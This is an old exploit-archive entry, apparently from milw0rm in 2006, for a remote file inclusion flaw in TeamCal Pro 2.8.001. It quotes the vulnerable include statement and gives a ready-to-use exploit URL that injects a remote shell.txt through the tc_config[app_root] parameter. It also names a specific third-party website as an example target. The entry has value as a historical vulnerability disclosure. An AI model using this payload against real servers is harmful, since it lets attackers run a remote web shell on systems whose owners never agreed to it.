27 lines
No EOL
930 B
Text
27 lines
No EOL
930 B
Text
#########################################################################
|
|
#Author:PSYCH@ psych0path@hackermail.com
|
|
#
|
|
#
|
|
#########################################################################
|
|
#TeamCal Pro 2.8.001 (app_root) Remote file inclusion Vulnerabilities
|
|
#Demo: www.lewe.com/tcpro/
|
|
#
|
|
#########################################################################
|
|
#Code:
|
|
#
|
|
#include( $tc_config['app_root']."includes/footer.html.inc.php" );
|
|
#
|
|
#########################################################################
|
|
#Exploit
|
|
#
|
|
#http://site.com/path/includes/footer.html.inc.php?tc_config[app_root]=shell.txt?
|
|
#
|
|
#Example:www.teamcounter.com/tcpro/includes/footer.html.inc.php?tc_config[app_root]=shell.txt?
|
|
#
|
|
#########################################################################
|
|
#Thnx:Warhack & mAfiAcarLEs & DarkXBoyZ
|
|
#
|
|
#
|
|
#########################################################################
|
|
|
|
# milw0rm.com [2006-09-14] |